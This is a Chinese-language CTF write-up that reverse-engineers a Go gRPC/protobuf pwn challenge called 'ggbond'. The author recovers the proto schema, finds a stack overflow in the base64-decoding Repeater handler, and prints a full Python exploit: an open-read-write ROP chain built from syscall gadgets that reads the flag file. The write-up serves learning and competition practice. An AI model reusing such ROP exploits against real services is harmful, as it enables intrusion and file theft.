golang pwn
ggbond 打开,golang protobuf grpc服务,但是程序保护开的少,加上go静态编译,保证gadget是够用的,并且符号表比较完整
学习一下protobuf: 深入解析protobuf
每个消息必有类型和字段编号,也存在可选的字段
optional : message 可以包含该字段零次或一次(不超过一次)。
repeated : 该字段可以在消息中重复任意多次(包括零)。其中重复值的顺序会被保留。在开发语言中就是数组和列表
每个字段有唯一编号,在二进制流中标识字段
1 到 15 范围内的字段编号需要一个字节进行编码,编码结果将同时包含编号和类型
16 到 2047 范围内的字段编号占用两个字节。因此,非常频繁出现的 message 元素保留字段编号 1 到 15。
字段最小数字为1,最大字段数为2^29 - 1。
19000 ~ 19999 保留
grpcurl的结果:server-reflection-tutorial
1 2 3 $ go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest $ grpcurl -plaintext 127.0.0.1:1337 list Failed to list services: server does not support the reflection API
和官方案例有点像,因此编译官方案例: Quick start | Go | gRPC
下载源码 go build
然后IDA对比一下
阅读protobuf Go代码 :可以找到一点 proto message 和 golang struct 的关系,开始处有三个字段,并且名称修改为大驼峰
1 2 3 4 5 6 7 type OrderRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields }
因此ggbond存在5种request,以及其对应的response。
通过官方helloworld寻找service
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 syntax = "proto3" ; option go_package = "google.golang.org/grpc/examples/helloworld/helloworld" ; package helloworld;service Greeter { rpc SayHello (HelloRequest) returns (HelloReply) {} } retval_840CC0 __golang main__ptr_server_SayHello RTYPE *__golang google_golang_org_grpc_examples_helloworld_helloworld__Greeter_SayHello_Handler
同理
1 2 3 4 5 6 7 8 9 10 11 12 RTYPE *__golang main_ggbond__GGBondServer_Handler_Handle retval_848680 __golang main__ptr_server_Handle option go_package = "ggbond" ; package ggbond;service GGBondServer { rpc Handler(Request) returns (Response) {} }
使用Docker搭建环境,尝试一下交互
首先生成py文件
1 $ python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ggbond.proto
通信报错
1 2 3 grpc._channel._InactiveRpcError: <_InactiveRpcError of RPC that terminated with: status = StatusCode.UNIMPLEMENTED details = "unknown service ggbond.GGBondServer"
找到正确的service名称
1 p_grpc_UnaryServerInfo->FullMethod.ptr = "/GGBond.GGBondServer/Handler" ;
所以最终,大体是如下的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 syntax = "proto3" ; option go_package = "GGBond" ; package GGBond;service GGBondServer { rpc Handler(Request) returns (Response) {} } message IsRequest { uint64 tab = 1 ; uint64 data = 2 ; } message IsResponse { uint64 tab = 1 ; uint64 data = 2 ; } message Request { IsRequest request = 1 ; } message Response { uint64 tab = 1 ; uint64 data = 2 ; } message WhoamiRequest { } message WhoamiResponse { string message = 1 ; } message RoleChangeRequest { uint32 role = 1 ; } message RoleChangeResponse { string message = 1 ; } message RepeaterRequest { string message = 1 ; } message RepeaterResponse { string message = 1 ; } message ErrorResponse { string message = 1 ; }
然后通信发现回显不对,一直卡住了。问题在于如何一个Request显示4种message?
赛后看WP,只能说做题时重点错了,应该直接找相关工具的
可以用pbtk还原protobuf结构:逆向恢复 Protobuf 对象结构
1 $ python pbtk/extractors/from_binary.py ./pwn ./ggbond.proto
获得proto文件,可以看出使用 oneof 处理请求,并且编号不对😫
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 syntax = "proto3" ; package GGBond;option go_package = "./;ggbond" ;service GGBondServer { rpc Handler(Request) returns (Response) ; } message Request { oneof request { WhoamiRequest whoami = 100 ; RoleChangeRequest role_change = 101 ; RepeaterRequest repeater = 102 ; } } message Response { oneof response { WhoamiResponse whoami = 200 ; RoleChangeResponse role_change = 201 ; RepeaterResponse repeater = 202 ; ErrorResponse error = 444 ; } } message WhoamiRequest {} message WhoamiResponse { string message = 2000 ; } message RoleChangeRequest { uint32 role = 1001 ; } message RoleChangeResponse { string message = 2001 ; } message RepeaterRequest { string message = 1002 ; } message RepeaterResponse { string message = 2002 ; } message ErrorResponse { string message = 4444 ; }
根据字符串应该是在.noptrdata:0000000000C22E62
这一段区域,结合protobuf结构反序列化一下
因此就可以进行愉快的尝试PWN了
首先测试三个功能
Whoami: 用户
RoleChange: 改变用户,用户change不能超过3,否则切换失败
Repeater: 用户后添加我们发送的内容
因此也是很简单的功能,先尝试手测,然后就崩溃了.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import grpcimport ggbond_pb2import ggbond_pb2_grpcfrom pwn import *channel = grpc.insecure_channel('127.0.0.1:1337' ) stub = ggbond_pb2_grpc.GGBondServerStub(channel) def whoami_request (): msg = ggbond_pb2.WhoamiRequest() req = ggbond_pb2.Request(whoami=msg) resp = stub.Handler(req) print ("Greeter client received: " + resp.whoami.message) def role_change_request (role: int ): msg = ggbond_pb2.RoleChangeRequest() msg.role = role req = ggbond_pb2.Request(role_change=msg) resp = stub.Handler(req) print ("Greeter client received: " + resp.role_change.message) def repeater_request (m ): msg = ggbond_pb2.RepeaterRequest() msg.message = m req = ggbond_pb2.Request(repeater=msg) resp = stub.Handler(req) print ("Greeter client received: " + resp.repeater.message) role_change_request(1 ) whoami_request() repeater_request(cyclic(100 )) role_change_request(2 ) whoami_request() repeater_request(cyclic(100 )) role_change_request(3 ) whoami_request() repeater_request(cyclic(100 )) channel.close()
第三次请求时保存,连接断开,因此从第三次尝试
在 repeater_request(cyclic(0x28))
不崩溃,在0x30崩溃
逆向一下repeater,结合测试的结果,还是能大致猜出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 if ( tab == off_9799C0 ) { v99 = a3; if ( qword_C94B80 == 3 ) { v100 = *(string *)(*(_QWORD *)v99->Request.data + 40 LL); len = v100.len ;v102 = encoding_base64__ptr_Encoding_DecodeString(qword_C62CA0, v100); ptr = v102.0 .ptr; v92 = v102.0 .len ; cap = v102.0 .cap ;v76[0 ] = v8; v76[1 ] = v8; v94 = v76; v95 = 32 LL; v96 = 32 LL; v50 = v76; v51 = v102.0 .ptr; for ( i = 0 LL; i < (__int64)(3 * (len >> 2 )); ++i ){ *(_BYTE *)v50 = *v51; v50 = (__int128 *)((char *)v50 + 1 ); ++v51; }
然后就是下断点,调试,获得si到bp的距离
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 RDI 0xc00002832c ◂— 0x333231 /* '123' */ RSI 0xc0001bb628 ◂— 0x0 RSP 0xc0001bb5e0 —▸ 0xc0001aa000 ◂— 0x4847464544434241 ('ABCDEFGH' ) *RIP 0x7ee024 ◂— movzx r10d, byte ptr [rdi] 0x7ee01e mov r8, rsi 0x7ee021 mov r9, rdi ► 0x7ee024 movzx r10d, byte ptr [rdi] 0x7ee028 mov byte ptr [rsi], r10b 0x7ee02b inc rax 0x7ee02e lea rsi, [r8 + 1] 0x7ee032 lea rdi, [r9 + 1] 0x7ee036 cmp rax, rdx 0x7ee039 jl 0x7ee01e <0x7ee01e> ↓ 0x7ee01e mov r8, rsi 0x7ee021 mov r9, rdi pwndbg> p/x 0xc0001bb6e8-0xc0001bb628 $2 = 0xc0
然后就是写ROP了: ORW将flag打出来,使用syscall.
查看别人的WP,打远程
先 nc 目标端口,用来接收orw的结果
再建立一个rpc连接,用来打
打本地:这个文件fd得调试出来.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 import grpcimport ggbond_pb2import ggbond_pb2_grpcfrom pwn import *channel = grpc.insecure_channel('127.0.0.1:23334' ) stub = ggbond_pb2_grpc.GGBondServerStub(channel) def whoami_request (): msg = ggbond_pb2.WhoamiRequest() req = ggbond_pb2.Request(whoami=msg) resp = stub.Handler(req) print ("Greeter client received: " + resp.whoami.message) def role_change_request (role: int ): msg = ggbond_pb2.RoleChangeRequest() msg.role = role req = ggbond_pb2.Request(role_change=msg) resp = stub.Handler(req) print ("Greeter client received: " + resp.role_change.message) def repeater_request (m ): msg = ggbond_pb2.RepeaterRequest() msg.message = m req = ggbond_pb2.Request(repeater=msg) resp = stub.Handler(req) print ("Greeter client received: " + resp.repeater.message) syscall = 0x000000000040452c pop_rdi_ret = 0x0000000000401537 pop_rsi_ret = 0x0000000000422398 pop_rax_ret = 0x00000000004101e6 pop_rdx_ret = 0x0000000000461bd1 flag = 0x00000000007ef68d bss_buf = 0xC6CF60 payload = b"a" * 0xc0 + p64(0xdeadbeef ) context.arch="amd64" payload += flat([ pop_rax_ret, 2 , pop_rdi_ret, flag, pop_rsi_ret, 0 , pop_rdx_ret, 0 , syscall, ]) payload += flat([ pop_rax_ret, 0 , pop_rdi_ret, 10 , pop_rsi_ret, bss_buf, pop_rdx_ret, 0x100 , syscall, ]) payload += flat([ pop_rax_ret, 1 , pop_rdi_ret, 1 , pop_rsi_ret, bss_buf, pop_rdx_ret, 0x100 , syscall, ]) payload += flat([ pop_rax_ret, 60 , pop_rdi_ret, 1 , syscall, ]) sleep(2 ) whoami_request() role_change_request(3 ) repeater_request(base64.b64encode(payload)) channel.close()
参考